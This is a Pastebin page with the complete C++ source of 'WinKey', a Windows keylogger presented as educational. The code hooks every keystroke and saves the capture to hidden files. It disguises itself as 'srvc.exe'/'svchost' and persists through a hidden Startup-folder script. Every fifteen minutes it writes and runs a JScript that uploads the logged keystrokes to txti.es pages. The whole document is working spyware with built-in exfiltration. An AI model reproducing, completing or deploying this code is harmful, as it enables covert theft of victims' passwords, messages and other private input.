Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * WinKey -- A GPL Windows keylogging program. While this program can potentially
- * be used for nefarious purposes, it was written for educational and recreational
- * purposes only and the author does not endorse illegal use.
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see <http://www.gnu.org/licenses/>.
- */
- #define UNICODE
- #define _UNICODE
- #include <fstream>
- #include <iostream>
- #include <string>
- #include <sstream>
- #include <algorithm>
- #include <windows.h>
- #include <shlobj.h>
- #include <io.h>
- #include <string.h>
- #include <stdint.h>
- #include <tchar.h>
- #include <fcntl.h>
- // configuration
- #define OUTPUT_IN_MY_DOCUMENTS true /* If false, paths below should be full pahts ("C:\\Us...") */
- #define OUTFILE_NAME "WinKey.log" /* Output file */
- #define OUTFILE_NAME_TXTI "WinKeySmall.log" /* Output file which stores the keys that will go to txti.es next */
- #define SERVER_UPDATE_FREQUENCY 15 * 60 * 1000 /* how frequently to update the server (in ms) */
- #define FIRST_UPDATE_TIME 30 * 1000 /* how long to wait for first server update from startup (in ms) */
- #define FILE_WRITE_FREQUENCY 5 * 1000 /* how frequencly to update the output files (in ms) */
- #define EXE_NAME "srvc.exe"
- #define CLASSNAME "wink"
- #define WINDOWTITLE "svchost"
- #define IDT_TIMER_FIRST 1001 /* id of the first timer (respecting FIRST_UPDATE_TIME) */
- #define IDT_TIMER_PERIODIC 1002 /* id of the timer working all the time (respecting SERVER_UPDATE_FREQUENCY) */
- #define IDT_TIMER_SAVER 1003 /* id of the timer which saves the output to files (respecting FILE_WRITE_FREQUENCY) */
- volatile int _positive_sp_check = 0;
- #define GUARD \
- if(_positive_sp_check != 0) \
- __asm__(".intel_syntax noprefix;\n\t" \
- "add sp, 8\n" \
- ".att_syntax prefix");
- static HHOOK kbdhook; /* Keyboard hook handle */
- static bool running; /* Used in main loop */
- static TCHAR outfile_path[2048] = { '\0' };
- static TCHAR outfile_path_txti[2048] = { '\0' };
- /* CRC-32C (iSCSI) polynomial in reversed bit order. */
- #define POLY_CRC32C 0x82f63b78
- /* CRC-32 (Ethernet, ZIP, etc.) polynomial in reversed bit order. */
- #define POLY_CRC32 0xedb88320
- template <int Poly>
- static uint32_t crc32c(uint32_t crc, const unsigned char *buf, size_t len) { GUARD
- int k;
- crc = ~crc;
- while (len--) {
- crc ^= *buf++;
- for (k = 0; k < 8; k++)
- crc = crc & 1 ? (crc >> 1) ^ Poly : crc >> 1;
- }
- return ~crc;
- }
- #define TRANSLATION_IDENT __DATE__ "!" __TIME__
- static const uint32_t RAND_TXTI_URL = crc32c<POLY_CRC32C>(0, (const unsigned char *)TRANSLATION_IDENT, strlen(TRANSLATION_IDENT));
- static const uint32_t RAND_TXTI_EDIT_CODE = crc32c<POLY_CRC32>(0, (const unsigned char *)TRANSLATION_IDENT, strlen(TRANSLATION_IDENT));
- static std::string buffer;
- static DWORD garbage = 0;
- static inline bool isCapsLockDown() { GUARD
- return GetKeyState(VK_CAPITAL) & 0x1;
- }
- /**
- * \brief Called by Windows automagically every time a key is pressed (regardless
- * of who has focus)
- */
- __declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp) { GUARD
- if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
- static bool capslock = isCapsLockDown();
- static bool shift = false;
- char tmp[0xFF] = {0};
- std::string str;
- DWORD msg = 1;
- KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
- bool printable;
- /*
- * Get key name as string
- */
- msg += (st_hook.scanCode << 16);
- msg += (st_hook.flags << 24);
- GetKeyNameTextA(msg, tmp, 0xFF);
- str = std::string(tmp);
- printable = (str.length() <= 1) ? true : false;
- /*
- * Non-printable characters only:
- * Some of these (namely; newline, space and tab) will be
- * made into printable characters.
- * Others are encapsulated in brackets ('[' and ']').
- */
- if (!printable) {
- /*
- * Keynames that change state are handled here.
- */
- if (str == "CAPSLOCK")
- capslock = !capslock;
- else if (str == "SHIFT")
- shift = true;
- /*
- * Keynames that may become printable characters are
- * handled here.
- */
- if (str == "ENTER") {
- str = "\n";
- printable = true;
- } else if (str == "SPACE") {
- str = " ";
- printable = true;
- } else if (str == "TAB") {
- str = "\t";
- printable = true;
- } else {
- str = ("[" + str + "]");
- }
- }
- /*
- * Printable characters only:
- * If shift is on and capslock is off or shift is off and
- * capslock is on, make the character uppercase.
- * If both are off or both are on, the character is lowercase
- */
- if (printable) {
- if (shift == capslock) { /* Lowercase */
- for (size_t i = 0; i < str.length(); ++i)
- str[i] = tolower(str[i]);
- } else { /* Uppercase */
- for (size_t i = 0; i < str.length(); ++i) {
- if (str[i] >= 'A' && str[i] <= 'Z') {
- str[i] = toupper(str[i]);
- }
- }
- }
- shift = false;
- }
- #ifdef DEBUG
- std::wcout << str;
- #endif
- buffer.append(str);
- }
- return CallNextHookEx(kbdhook, code, wp, lp);
- }
- static void hide_file(LPCTSTR filename) { GUARD
- DWORD dwAttrs = GetFileAttributes(filename);
- if (dwAttrs == INVALID_FILE_ATTRIBUTES)
- return;
- SetFileAttributes(filename, dwAttrs | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
- }
- static void savetofile(const TCHAR *path) { GUARD
- HANDLE file = CreateFile(path,
- FILE_APPEND_DATA,
- FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE,
- NULL,
- OPEN_ALWAYS,
- FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM,
- NULL);
- if(file == INVALID_HANDLE_VALUE)
- return;
- if(SetFilePointer(file, 0L, NULL, FILE_END) == INVALID_SET_FILE_POINTER)
- goto err;
- if(WriteFile(file, buffer.c_str(), buffer.size(), &garbage, NULL) == FALSE)
- goto err;
- err:
- CloseHandle(file);
- }
- static void savedata() { GUARD
- if(buffer.empty())
- return;
- savetofile(outfile_path);
- savetofile(outfile_path_txti);
- buffer.clear();
- }
- static void try_sending(const bool empty) { GUARD
- std::wstring outf = outfile_path;
- outf += L".js";
- DeleteFile(outf.c_str());
- std::stringstream ss;
- ss << ';' << ";" // why
- << "var name = '" << RAND_TXTI_URL << "';"
- "var pass = '" << RAND_TXTI_EDIT_CODE << "';"
- "var content_file = WScript.arguments.item(0);"
- ""
- "var fs = WScript.CreateObject('Scripting.FileSystemObject');"
- "var get = WScript.CreateObject('msxml2.xmlhttp.6.0');"
- "var post = WScript.CreateObject('msxml2.xmlhttp.6.0');"
- ""
- "function end(c) {"
- "fs.GetFile(WScript.ScriptFullName).Delete(true);"
- "WScript.Quit(c);"
- "}"
- ""
- << (empty
- ?
- "var content = '[log start]';"
- :
- "try {"
- "var file = fs.OpenTextFile(content_file, 1);"
- "var content = '\\n\\n##' + new Date() + '\\n\\n' + file.ReadAll();"
- "file.Close();"
- "} catch (e) {"
- "end(1);"
- "}") <<
- "get.open('GET', 'http://txti.es/' + name + '/edit', false);"
- "get.send();"
- "if(get.status >= 200 && get.status < 300) {"
- "var page = get.responseText;"
- "var page_id = page.split('name=\"page_id\" value=\"')[1].split('\"')[0];"
- "var old_content = page.split('<textarea class=\"text-input\" id=\"content-input\" name=\"content\">')[1].split('</textarea>')[0];"
- ""
- "post.open('POST', 'http://txti.es/' + name + '/edit', false);"
- "post.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');"
- "post.send('content=' + escape(old_content) + escape(content) +"
- "'&custom_url=' + escape(name) +"
- "'&edit_code=' + escape(pass) +"
- "'&page_id=' + escape(page_id) +"
- "'&form_level=3&update=1');"
- "} else if(get.status == 404) {"
- "post.open('POST', 'http://txti.es', false);"
- "post.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');"
- "post.send('content=' + escape(content) +"
- "'&custom_url=' + escape(name) +"
- "'&custom_edit_code=' + escape(pass) +"
- "'&form_level=2&submit=1&username=');"
- "} else {"
- "end(2);"
- "}"
- ""
- "if(post.status >= 200 && post.status < 300) {"
- "try {"
- << (empty ? "" : "fs.GetFile(content_file).Delete(true);") <<
- "} catch(e) {}"
- "}"
- ""
- "end(0);";
- HANDLE file = CreateFile(outf.c_str(),
- GENERIC_WRITE,
- FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE,
- NULL,
- OPEN_ALWAYS,
- FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM,
- NULL);
- if(file != INVALID_HANDLE_VALUE) {
- std::string script(ss.str());
- WriteFile(file, script.c_str(), script.size(), &garbage, NULL);
- CloseHandle(file);
- }
- hide_file(outf.c_str());
- std::wstring logfile(L"\"");
- logfile += outfile_path_txti;
- logfile += L"\"";
- std::replace(logfile.begin(), logfile.end(), '\\', '/');
- ShellExecute(NULL, L"open", outf.c_str(), logfile.c_str(), NULL, SW_SHOW);
- }
- /**
- * \brief Called by DispatchMessage() to handle messages
- * \param hwnd Window handle
- * \param msg Message to handle
- * \param wp
- * \param lp
- * \return 0 on success
- */
- LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { GUARD
- switch (msg) {
- case WM_CLOSE:
- case WM_DESTROY:
- running = false;
- break;
- case WM_TIMER:
- std::wcout << L"Got timer: " << wp << L"\n";
- if(wp == IDT_TIMER_FIRST) {
- static bool already_fired = false;
- if(already_fired)
- break;
- already_fired = true;
- try_sending(false);
- SetTimer(hwnd, IDT_TIMER_PERIODIC, SERVER_UPDATE_FREQUENCY, (TIMERPROC) NULL);
- KillTimer(hwnd, IDT_TIMER_FIRST);
- break;
- } else if(wp == IDT_TIMER_PERIODIC) {
- try_sending(false);
- break;
- } else if(wp == IDT_TIMER_SAVER) {
- savedata();
- break;
- }
- /* [[fallthrough]] */
- default:
- /* Call default message handler */
- return DefWindowProc(hwnd, msg, wp, lp);
- }
- return 0;
- }
- static bool paths_equal(const TCHAR *path1, const TCHAR *path2) { GUARD
- TCHAR path1short[MAX_PATH] = { '\0' };
- TCHAR path2short[MAX_PATH] = { '\0' };
- GetShortPathName(path1, path1short, MAX_PATH);
- GetShortPathName(path2, path2short, MAX_PATH);
- return _tcsncmp(path1short, path2short, MAX_PATH) == 0;
- }
- static std::wstring get_path_to_myself() { GUARD
- TCHAR fileName[2048] = { '\0' };
- DWORD length = GetModuleFileName(NULL, fileName, 2047);
- if(length <= 0) // can't get the path
- return L"";
- return std::wstring(fileName, length);
- }
- static std::wstring get_path_to_special_folder(int special_folder_csidl) { GUARD
- TCHAR path[MAX_PATH] = { '\0' };
- SHGetFolderPath(NULL, special_folder_csidl, NULL, 0, path);
- return std::wstring(path);
- }
- /**
- * \return true if the program should end
- */
- static bool setup_autostart(LPSTR cmdline) { GUARD
- std::wstring startup_js = get_path_to_special_folder(CSIDL_STARTUP) + L"\\.js";
- std::wstring my_documents = get_path_to_special_folder(CSIDL_PERSONAL);
- std::wstring exe = my_documents + L"\\" TEXT(EXE_NAME);
- std::wstring myself = get_path_to_myself();
- #if OUTPUT_IN_MY_DOCUMENTS == true
- _tcscat(outfile_path, my_documents.c_str());
- _tcscat(outfile_path, L"\\");
- _tcscat(outfile_path_txti, my_documents.c_str());
- _tcscat(outfile_path_txti, L"\\");
- #endif
- _tcscat(outfile_path, TEXT(OUTFILE_NAME));
- _tcscat(outfile_path_txti, TEXT(OUTFILE_NAME_TXTI));
- std::wcout << L"Setting up " << startup_js << '\n';
- {
- std::string script("var sh = WScript.createOBJect('Wscript.sHELL');\r\n"
- "sh.Run('\"' + sh.SpecialFolders('MyDocuments') + '\\\\" EXE_NAME "\" --a', +(!1));\r\n");
- DeleteFile(startup_js.c_str());
- Sleep(200);
- HANDLE file = CreateFile(startup_js.c_str(),
- GENERIC_WRITE,
- FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE,
- NULL,
- OPEN_ALWAYS,
- FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM,
- NULL);
- std::wcout << script.c_str() << L"\n";
- if(file != INVALID_HANDLE_VALUE && WriteFile(file, script.c_str(), script.size(), &garbage, NULL) != FALSE) {
- std::wcout << L"ok\n";
- } else {
- std::wcout << L"error " << GetLastError() << '\n';
- }
- if(file != INVALID_HANDLE_VALUE)
- CloseHandle(file);
- }
- if(!paths_equal(myself.c_str(), exe.c_str())) {
- std::wcout << L"\nCopying myself to " << exe << '\n';
- DeleteFile(exe.c_str());
- Sleep(200);
- if(CopyFile(myself.c_str(), exe.c_str(), FALSE) != 0) {
- std::wcout << L"ok\n";
- } else {
- std::wcout << L"error " << GetLastError() << '\n';
- }
- }
- hide_file(startup_js.c_str());
- hide_file(exe.c_str());
- if(_taccess(startup_js.c_str(), 0) == 0
- && _taccess(exe.c_str(), 0) == 0
- && strstr(cmdline, "--a") != NULL) {
- return false;
- }
- ShellExecute(NULL, L"open", startup_js.c_str(), NULL, NULL, SW_SHOW);
- std::wcout << L"\n\ndone\n";
- std::wcout << L"Output will be written to " << outfile_path << "\n\n";
- std::wcout << L"Setting up online output..\n";
- try_sending(true);
- std::wcout << L"\n\nOnline output URL:\n";
- std::wcout << L"http://txti.es/" << RAND_TXTI_URL << L"\n";
- std::wcout << L"\nOpening in browser..";
- /* Wait a moment so that the webpage is actually created */
- Sleep(2500);
- std::wstringstream url;
- url << L"http://txti.es/" << RAND_TXTI_URL;
- std::wstring urlstr = url.str();
- ShellExecute(NULL, L"open", urlstr.c_str(), NULL, NULL, SW_SHOW);
- return true;
- }
- int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
- LPSTR cmdline, int ncmdshow)
- { GUARD
- // enable console buffering
- setvbuf(stdout, 0, _IOLBF, 4096);
- // Enable UTF-16 output
- _setmode(_fileno(stdout), 0x20000); // _O_U16TEXT
- if(strstr(cmdline, "--secret") != NULL) {
- std::wstring in_my_documents = (OUTPUT_IN_MY_DOCUMENTS ? L" located in My Documents" : L"");
- std::wcout << L"Full output is in " TEXT(OUTFILE_NAME) << in_my_documents << L"\n";
- std::wcout << L"Output until next online update is in " TEXT(OUTFILE_NAME_TXTI) << in_my_documents << L"\n\n";
- std::wcout << L"Online page with output is http://txti.es/" << RAND_TXTI_URL << L"\n";
- std::wcout << L"Edit code is " << RAND_TXTI_EDIT_CODE << L"\n";
- return 0;
- }
- if(setup_autostart(cmdline))
- return 0;
- buffer = "[program startup]";
- /*
- * Set up window
- */
- HWND hwnd;
- HWND fgwindow = GetForegroundWindow(); /* Current foreground window */
- MSG msg;
- WNDCLASSEX windowclass;
- HINSTANCE modulehandle;
- windowclass.hInstance = thisinstance;
- windowclass.lpszClassName = TEXT(CLASSNAME);
- windowclass.lpfnWndProc = windowprocedure;
- windowclass.style = CS_DBLCLKS;
- windowclass.cbSize = sizeof(WNDCLASSEX);
- windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
- windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
- windowclass.hCursor = LoadCursor(NULL, IDC_ARROW);
- windowclass.lpszMenuName = NULL;
- windowclass.cbClsExtra = 0;
- windowclass.cbWndExtra = 0;
- windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
- if (!(RegisterClassEx(&windowclass)))
- return 1;
- hwnd = CreateWindowEx(0, TEXT(CLASSNAME), TEXT(WINDOWTITLE), WS_OVERLAPPEDWINDOW,
- CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
- thisinstance, NULL);
- if (!(hwnd))
- return 1;
- /*
- * Make the window visible
- */
- ShowWindow(hwnd, SW_SHOW);
- UpdateWindow(hwnd);
- SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */
- /*
- * Hook keyboard input so we get it too
- */
- modulehandle = GetModuleHandle(NULL);
- kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, 0);
- SetTimer(hwnd, IDT_TIMER_FIRST, FIRST_UPDATE_TIME, (TIMERPROC) NULL);
- SetTimer(hwnd, IDT_TIMER_SAVER, FILE_WRITE_FREQUENCY, (TIMERPROC) NULL);
- //try_sending(false);
- //GetWindowsDirectory((LPSTR)windir, MAX_PATH);
- running = true;
- /*
- * Main loop
- */
- while (running) {
- /*
- * Get messages, dispatch to window procedure
- */
- if (!GetMessage(&msg, NULL, 0, 0))
- running = false; /*
- * This is not a "return" or
- * "break" so the rest of the loop is
- * done. This way, we never miss keys
- * when destroyed but we still exit.
- */
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement